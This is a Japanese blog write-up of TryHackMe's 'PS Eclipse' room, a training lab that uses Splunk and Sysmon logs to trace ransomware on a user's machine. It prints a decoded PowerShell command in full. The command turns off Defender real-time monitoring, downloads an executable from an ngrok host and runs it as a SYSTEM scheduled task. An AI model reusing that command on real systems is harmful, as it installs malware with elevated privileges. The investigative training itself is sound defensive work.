Splunkを使ったランサムウェアの感染端末の調査【TryHackMe-PS Eclipse-writeup】

ランサムウェアの画像
※当サイトはプロモーションが含まれています

こんにちは、ぎんたです。

今回は、Splunkを使ったランサムウェアの感染端末の調査を体験できる「PS Eclipse」というルームの攻略の過程を記事にしています。

  • Splunkを使った端末の調査に興味のある方
  • ランサムウェアの感染端末の調査に関心がある方

が今回の対象です。

ぎんた

Splunkは調査でよく使うツールの一つだから、Splunkを使った解析について知っておくといいと思うよ。

今回はWriteupが記事の目的ですので、Splunkの個別具体的な説明は割愛させていただきます。

このルームも無料でアクセス可能なので、試してみたい方はぜひやってみてください。

目次

シナリオの概要

日本語に訳したシナリオの概要は以下のとおりです。

顧客から、2022年5月16日月曜日にキーガンのマシンで発生した事象を調査するようアナリストに依頼する電子メールが届いた。

顧客は、マシンの操作はできるが一部のファイルの拡張子が変だと指摘。

顧客は、Keeganのデバイスでランサムウェアの試みがあったことを心配している。

あなたの上司は、Splunk でイベントをチェックし、Keegan のデバイスで何が発生したかを特定するよう命じました。

Splunkを使ったランサムウェアの感染端末の調査

疑わしいバイナリがエンドポイントにダウンロードされました。バイナリの名前は何ですか?

追加のバイナリをダウンロードする手法としてPowerShellを用いた方法が良く使われるので、まずはpowershellでSearchしました。

実行したところ、以下の画像のような不審な引数をつけてPowerShellが実行されていました。

powershell

探索する期間を全期間にするために「All time」に指定しておきました。

powershellで検索しEID1のログを確認

引数にBase64でエンコードされた文字列を設定しているのが分かります。

画像では切れてしまって見えませんが、Sysmonで記録されていたようです。

  • ソース: WinEventLog:Microsoft-Windows-Sysmon/Operational
  • イベントコード: 1(Process Creation)

次にCyberChefのサイトで以下のように設定すると、デコードしたコマンドを確認することができます。

Recipe:

「From Base64」でデコードをする。

「Decode text」でUTF-16LE(1200)を指定し、適切な形式にテキストをデコードする。

Cyberchefのデコード

Output:

Set-MpPreference -DisableRealtimeMonitoring $true;wget http://886e-181-215-214-32.ngrok.io/OUTSTANDING_GUTTER.exe -OutFile C:\Windows\Temp\OUTSTANDING_GUTTER.exe;SCHTASKS /Create /TN “OUTSTANDING_GUTTER.exe” /TR “C:\Windows\Temp\COUTSTANDING_GUTTER.exe” /SC ONEVENT /EC Application /MO *[System/EventID=777] /RU “SYSTEM” /f;SCHTASKS /Run /TN “OUTSTANDING_GUTTER.exe”

wgetで不審サイトにアクセスし、ファイルをダウンロードしている痕跡を確認できます。

答え:OUTSTANDING_GUTTER.exe

バイナリをダウンロードしたアドレスは何ですか?

先ほどの画像で確認できます。

答え:hxxp[://]886e-181-215-214-32[.]ngrok[.]io

不審なバイナリのダウンロードに使用されたWindowsの実行ファイルは何ですか?

PowerShellを使ったことが分かっているので、パス付で解答すると正解になります。

powershellのパスを表示

答え:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

不審なバイナリを昇格特権で実行するように設定するために実行されたコマンドは何ですか?

デコードされたPowerShellの引数を確認します。

以下の箇所に注目します。

SCHTASKS /Create /TN “OUTSTANDING_GUTTER.exe” /TR “C:\Windows\Temp\COUTSTANDING_GUTTER.exe” /SC ONEVENT /EC Application /MO *[System/EventID=777] /RU “SYSTEM” /f

タスクスケジューラの作成をしています。

また、/RUでSYSTEMと設定されています。

ダウンロード後に昇格された特権で実行するため、タスクスケジューラにSYSTEMユーザで実行するように設定していることが分かりました。

タスクスケジューラを使った権限昇格の方法となります。

答え:”C:\Windows\system32\schtasks.exe” /Create /TN OUTSTANDING_GUTTER.exe /TR C:\Windows\Temp\COUTSTANDING_GUTTER.exe /SC ONEVENT /EC Application /MO *[System/EventID=777] /RU SYSTEM /f

不審なバイナリはどのような権限で実行されるのか?昇格した権限でバイナリを実行するコマンドは何ですか?

こちらもPowerShellのデコードした引数に記載されています。

SCHTASKS /Run /TN “OUTSTANDING_GUTTER.exe”

答え:NT AUTHORITY\SYSTEM;”C:\Windows\system32\schtasks.exe” /Run /TN OUTSTANDING_GUTTER.exe

不審なバイナリがリモートサーバーに接続した。どのアドレスに接続しましたか?

発見したバイナリファイル(OUTSTANDING_GUTTER.exe)でSearchしたところ以下の結果が得られました。

OUTSTANDING_GUTTER.exe

OUTSTANDING_GUTTER.exeの通信先

QueryNameでフィルタしたところ、通信先を1つ確認しました。

不審なバイナリが上記画像の通信先の名前解決要求をしているため、解答したところ正解でした。

答え:hxxp[://]9030-181-215-214-32[.]ngrok[.]io

PowerShellスクリプトが不審なバイナリと同じ場所にダウンロードされました。ファイル名は何でしたか?

PowerShellのスクリプトの拡張子は「.ps1」です。

不審なバイナリがダウンロードされた場所は「C:\Windows\Temp」以下と判明していますので、以下のようにSearchしました。

.ps1

| dedup TargetFilename

| table TargetFilename

TargetFilename項目で重複を排除し、テーブル形式でTargetFilename項目を出力しています。

ps1ファイルの検索

「C:\Windows\Temp」以下にいくつか該当するスクリプトはありましたが、いかにも怪しいファイル名があったので、こちらを解答したら正解でした。

答え:script.ps1

悪意のあるスクリプトとしてフラグが立てられました。悪意のあるスクリプトの実際の名前は何だと思いますか?

VirusTotalでscript.ps1の実際の名前を確認できるかもしれません。

script.ps1でSearchしたところ、SHA1ハッシュを発見しました。

script.ps1

script.ps1ファイルの検索

ソース: WinEventLog:Microsoft-Windows-Sysmon/Operational

イベントコード: 23(File Delate)

SHA1ハッシュをコピーし、VirusTotalで調査すると該当のファイルは34件検知されました。

virustotalの検索結果

Ransomという判定を出しているベンダーもいくつかありますね。

DETAILSタブを開いて確認したところ、実際のファイル名が判明しました。

virustotalでファイル名を発見

答え:BlackSun.ps1

ランサムウェアのメモがディスクに保存されました。身代金要求メモが保存された完全なパスは何ですか?

ランサムノートの拡張子は「.txt」が多い印象なので、以下のようにSearchしました。

.txt

txt拡張子で検索

ソース: WinEventLog:Microsoft-Windows-Sysmon/Operational

イベントコード: 11(File Created)

該当するファイルは3つありましたが、一番上の不審な名前のテキストファイルを解答したら正解でした。

答え:C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt

スクリプトは、ユーザのデスクトップの壁紙を置き換えるために、IOCとしても機能する画像ファイルをディスクに保存しました。画像のフル・パスは?

画面の壁紙は「.png」「.jpg」あたりかなと推測しました。

とりあえず、「.jpg」でSearchします。

.jpg

jpg拡張子で検索

ソース: WinEventLog:Microsoft-Windows-Sysmon/Operational

イベントコード: 11(File Created)

該当するファイルは2件でした。

Imageがpowershell.exeとなっており、Sysmonでファイルを作成した動作を記録しているので、下のファイルを解答したら正解でした。

答え:C:\Users\Public\Pictures\blacksun.jpg

まとめ

今回は、TryHackMeで提供されている「PS Eclipse」というルームの攻略の過程を解説しました。

ぎんた

ログ分析を効率的に行うことができるツールとして、Splunkでの調査は有用なので何度か使ってみて覚えておくといいと思うよ。

この記事が少しでも役に立てれば幸いです。

以上、ぎんたでした。

サイバーセキュリティを学ぶ上で必要な攻撃と解析に関する他の記事は、以下のリンクで確認できます。

学習に関しましては、以下のセキュリティの勉強法、おすすめの学習本・動画の記事が多くの方に読まれています。

資格の記事については以下の記事がおすすめです。

ITエンジニアへの転職については以下の記事がおすすめです。

その他学習・転職関連に関しましては、以下の記事もあわせて読まれています。

ぜひご覧ください!

よかったらシェアしてね!
目次